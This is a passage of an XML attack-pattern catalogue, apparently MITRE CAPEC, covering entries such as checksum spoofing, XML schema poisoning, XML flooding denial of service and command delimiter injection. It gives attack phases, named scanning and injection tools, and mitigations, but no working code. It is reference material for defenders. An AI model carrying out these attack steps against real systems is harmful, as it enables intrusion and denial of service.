			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>87<!--Forceful Browsing--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="144" Name="Detect Unpublicised Web Services"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker searches a targeted web site for web services that have not
						been publicized. Generally this involves mapping the published web site by
						spidering through all the published links and then attempt to access
						well-known debugging or logging services, or otherwise predictable services
						within the site tree. This attack can be especially dangerous since
						unpublished but available services may not have adequate security controls
						placed upon them given that an administrator may believe they are
						unreachable.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted web site must include unpublished services within its web
						tree. The nature of these services determines the severity of this
						attack.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>Spidering tools to explore the target web site are extremely useful in this
					attack especially when attacking large sites. Some tools might also be able to
					automatically construct common service queries from known paths.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>87<!--Forceful Browsing--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="145" Name="Checksum Spoofing" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker spoofs a checksum message for the purpose of making a payload
						appear to have a valid corresponding checksum. Checksums are used to verify
						message integrity. They consist of some value based on the value of the
						message they are protecting. Hash codes are a common checksum mechanism.
						Both the sender and recipient are able to compute the checksum based on the
						contents of the message. If the message contents change between the sender
						and recipient, the sender and recipient will compute different checksum
						values. Since the sender's checksum value is transmitted with the message,
						the recipient would know that a modification occurred. In checksum spoofing
						an attacker modifies the message body and then modifies the corresponding
						checksum so that the recipient's checksum calculation will match the
						checksum (created by the attacker) in the message. This would prevent the
						recipient from realizing that a change occurred.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The attacker must be able to intercept a message from the sender (keeping
						the recipient from getting it), modify it, and send the modified message to
						the recipient.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The sender and recipient must use a checksum to protect the integrity of
						their message and transmit this checksum in a manner where the attacker can
						intercept and modify it.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The checksum value must be computable using information known to the
						attacker. A cryptographic checksum, which uses a key known only to the
						sender and recipient, would thwart this attack.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must be able to intercept and modify messages between the sender
					and recipient.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>148<!--Content Spoofing--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="146" Name="XML Schema Poisoning" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker corrupts or modifies the content of XML schema information
						passing between client and server for the purpose of undermining the
						security of the target. XML Schemas provide the structure and content
						definitions for XML documents. Schema poisoning is the ability to manipulate
						a schema either by replacing or modifying it to compromise the programs that
						process documents that use this schema. Possible attacks are denial of
						service attacks by modifying the Schema so that it does not contain required
						information for subsequent processing. For example, the unaltered schema may
						require a @name attribute in all submitted documents. If the attacker
						removes this attribute from the schema then documents create using the new
						grammar will lack this field, which may cause the processing application to
						enter an unexpected state or record incomplete data. In addition,
						manipulation of the data types described in the schema may affect the
						results of calculations taken by the document reader. For example, a float
						field could be changed to an int field. Finally, the attacker may change the
						encoding defined in the schema for certain fields allowing the contents to
						bypass filters that scan for dangerous strings. For example, the modified
						schema might us a URL encoding instead of ASCII, and a filter that catches a
						semicolon (;) might fail to detect its URL encoding (%3B).</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The schema used by the target application must be improperly secured
						against unauthorized modification and manipulation.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Resources_Required>
				<Text>Access to the schema and the knowledge and ability modify it. Ability to
					replace or redirect access to the modified schema.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Protect the schema against unauthorized modification.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: For applications that use a known schema, use a local copy
						or a known good repository instead of the schema reference supplied in the
						XML document.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>15<!--External Control of System or Configuration Setting--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>472<!--External Control of Assumed-Immutable Web Parameter--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>271<!--Schema Poisoning--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="147" Name="XML Ping of the Death" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker initiates a resource depletion attack where a large number of
						small XML messages are delivered at a sufficiently rapid rate to cause a
						denial of service or crash of the target. Transactions such as repetitive
						SOAP transactions can deplete resources faster than a simple flooding attack
						because of the additional resources used by the SOAP protocol and the
						resources necessary to process SOAP messages. The transactions used are
						immaterial as long as they cause resource utilization on the target. In
						other words, this is a normal flooding attack augmented by using messages
						that will require extra processing on the target.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey the target</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser or an automated tool, an attacker
												records all instance of web services to process XML
												requests.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use an automated tool to record all
												instances of URLs to process XML requests.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website and analyze how the application processes
												XML requests.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The URL processes XML requests.</Text>
												</Indicator_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>The application does not accept XML
												requests.</Text>
												</Indicator_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of URLs which process
												XML requests.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Launch a resource depletion
											attack</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker delivers a large number of small XML
												messages to the target URLs found in the explore
												phase at a sufficiently rapid rate. It causes denial
												of service to the target application.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Send a large number of crafted small XML
												messages to the target URL.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker causes the target
												application denial of
												service.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web
												logs.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Build throttling
												mechanism into the resource allocation. Provide
												for a timeout mechanism for allocated resources
												whose transaction does not complete within a
												specified interval.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must receive and process XML transactions.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Low</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Flooding</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Consider the case of attack performed against the
							createCustomerBillingAccount Web Service for an online store. In this
							case, the createCustomerBillingAccount Web Service receives a huge
							number of simultaneous requests, containing nonsense billing account
							creation information (the small XML messages). The
							createCustomerBillingAccount Web Services may forward the messages to
							other Web Services for processing. The application suffers from a high
							load of requests, potentially leading to a complete loss of availability
							the involved Web Service.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To send small XML messages</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To use distributed network to launch the attack</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text> Transaction generator(s)/source(s) and ability to cause arrival of messages
					at the target with sufficient rapidity to overload target. Larger targets may be
					able to handle large volumes of requests so the attacker may require significant
					resources (such as a distributed network) to affect the target. However, the
					resources required of the attacker would be less than in the case of a simple
					flooding attack against the same target.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: : Build throttling mechanism into the resource allocation. Provide
						for a timeout mechanism for allocated resources whose transaction does not
						complete within a specified interval.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Provide for network flow control and traffic shaping to
						control access to the resources.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					<Consequence_Note>
						<Text>DoS: resource consumption (other)</Text>
					</Consequence_Note>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>XML-capable system interfaces </Text>
			</Injection_Vector>
			<Payload>
				<Text>Maliciously crafted XML messages</Text>
			</Payload>
			<Activation_Zone>
				<Text>XML inspection, parsing and validation routines.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Denial of Service</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>400<!--Uncontrolled Resource Consumption ('Resource Exhaustion')-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>770<!--Allocation of Resources Without Limits or Throttling -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CAPEC-159</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Redirect Access to Libraries</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>82<!--Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS))-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/82.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>125<!--Resource Depletion through Flooding -->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Low</Confidentiality_Impact>
				<Integrity_Impact>Low</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
					<Architectural_Paradigm>Web</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
			</Technical_Context>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Min Xu</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Performed a review of content and added additional
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="148" Name="Content Spoofing" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker modifies content to make it contain something other than what
						the original content producer intended while keeping the apparent source of
						the content unchanged. The term content spoofing is most often used to
						describe modification of web pages hosted by a target to display the
						attacker's content instead of the owner's content. However, any content can
						be spoofed, including the content of email messages, file transfers, or the
						content of other network communication protocols. Content can be modified at
						the source (e.g. modifying the source file for a web page) or in transit
						(e.g. intercepting and modifying a message between the sender and
						recipient). Usually, the attacker will attempt to hide the fact that the
						content has been modified, but in some cases, such as with web site
						defacement, this is not necessary. Content Spoofing can lead to malware
						exposure, financial fraud if the content governs financial transactions,
						privacy violations, and other results.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must provide content but fail to adequately protect it against
						modification.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required by the client for most forms of the attack.
					If the content is to be modified in transit, the attacker must be able to
					intercept the targeted messages. In some variants, the targeted content is
					altered so that all or some of it is redirected towards content published by the
					attacker (for example, images and frames in the target's web site might be
					modified to be loaded from a source controlled by the attacker). In these cases,
					the attacker must be able to host the replacement content.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>156<!--Spoofing--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>345<!--WASC Threat Classification 2.0 - WASC-12 - Content Spoofing--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="149" Name="Explore for predictable temporary file names"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker explores a target to identify the names and locations of
						predictable temporary files for the purpose of launching further attacks
						against the target. This involves analyzing naming conventions and storage
						locations of the temporary files created by a target application. If an
						attacker can predict the names of temporary files they can use this
						information to mount other attacks, such as information gathering and
						symlink attacks.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted application must create names for temporary files using a
						predictable procedure, e.g. using sequentially increasing numbers.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must be able to see the names of the files the target is
					creating.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>150<!--Common resource location exploration--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="15" Name="Command Delimiters" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attack of this type exploits a programs' vulnerabilities that allows an
						attacker's commands to be concatenated onto a legitimate command with the
						intent of targeting other resources such as the file system or database. The
						system that uses a filter or a blacklist input validation, as opposed to
						whitelist validation is vulnerable to an attacker who predicts delimiters
						(or combinations of delimiters) not present in the filter or blacklist. As
						with other injection attacks, the attacker uses the command delimiter
						payload as an entry point to tunnel through the application and activate
						additional attacks through SQL queries, shell commands, network scanning,
						and so on.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Assess Target Runtime
											Environment</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>In situations where the runtime environment is not
												implicitly known, the attacker makes connections to
												the target system and tries to determine the
												system's runtime environment. Knowing the
												environment is vital to choosing the correct
												delimiters.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Port mapping using network connection-based
												software (e.g., nmap, nessus, etc.)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-ClientServer env-Embedded
												env-CommProtocol env-Peer2Peer
												env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Port mapping by exploring the operating
												system (netstat, sockstat, etc.)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>TCP/IP Fingerprinting</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Induce errors to find informative error
												messages</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The target software accepts connections via
												the network.</Text>
												</Indicator_Description>
												<Environments>env-Web env-CommProtocol env-Peer2Peer
												env-Embedded</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Operating environment
												(operating system, language, and/or middleware) is
												correctly identified.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Inconclusive">
												<Outcome_Description>Multiple candidate operating
												environments are suggested.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Provide misleading
												information on TCIP/IP fingerprints (some
												operating systems can be configured to send
												signatures that match other operating
												systems).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Provide misleading
												information at the server level (e.g., Apache,
												IIS, WebLogic, etc.) to announce a different
												server software.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Detective">
												<Security_Control_Description>Some fingerprinting
												techniques can be detected by operating systems or
												by network IDS systems because they leave the
												network connection half-open, or they do not
												belong to a valid, open
												connection.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="-1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey the
											Application</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker surveys the target application,
												possibly as a valid and authenticated user</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>Spidering web sites for all available
												links</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>Inventory all application inputs</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="-1" type="Positive">
												<Indicator_Description>
												<Text>Attacker develops a list of valid
												inputs</Text>
												</Indicator_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="0" type="Success">
												<Outcome_Description>The attacker develops a list of
												likely command delimiters.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="0" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="0" type="Detective">
												<Security_Control_Description>Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the
												application.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="0" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="0" type="Detective">
												<Security_Control_Description>Monitor velocity of
												feature activations (non-web software). Humans who
												activate features (click buttons, request actions,
												invoke APIs, etc.) will do so far slower and far
												less regularly than tools. Tools make requests
												very quickly and the requests are typically spaced
												apart regularly (e.g. 0.8 seconds between
												them).</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Attempt delimiters in
											inputs</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker systematically attempts variations of
												delimiters on known inputs, observing the
												application's response each time.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Inject command delimiters using network
												packet injection tools (netcat, nemesis,
												etc.)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-CommProtocol env-Web env-Peer2Peer
												env-ClientServer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Inject command delimiters using web test
												frameworks (proxies, TamperData, custom programs,
												etc.)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Enter command delimiters directly in input
												fields.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Embedded env-Local
												env-ClientServer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Attack step 2 is successful.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>One or more command delimiters
												for the platform provokes an unexpected response
												from the software, which can be varied by the
												attacker based on the input.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Use malicious command
											delimiters</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker uses combinations of payload and
												carefully placed command delimiters to attack the
												software.</Text>
										</Attack_Step_Description>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The software performs as
												expected by the attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description/>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Software's input validation or filtering must not detect and block
						presence of additional malicious command.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>By appending special characters, such as a semicolon or other commands
							that are executed by the target process, the attacker is able to execute
							a wide variety of malicious commands in the target process space,
							utilizing the target's inherited permissions, against any resource the
							host has access to. The possibilities are vast including injection
							attacks against RDBMS (SQL Injection), directory servers (LDAP
							Injection), XML documents (XPath and XQuery Injection), and command line
							shells. In many injection attacks, the results are converted back to
							strings and displayed to the client process such as a web browser
							without tripping any security alarms, so the network firewall does not
							log any out of the ordinary behavior.</Text>
						<Text>LDAP servers house critical identity assets such as user, profile,
							password, and group information that is used to authenticate and
							authorize users. An attacker that can query the directory at will and
							execute custom commands against the directory server is literally
							working with the keys to the kingdom in many enterprises. When user,
							organizational units, and other directory objects are queried by
							building the query string directly from user input with no validation,
							or other conversion, then the attacker has the ability to use any LDAP
							commands to query, filter, list, and crawl against the LDAP server
							directly in the same manner as SQL injection gives the ability to the
							attacker to run SQL commands on the database.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
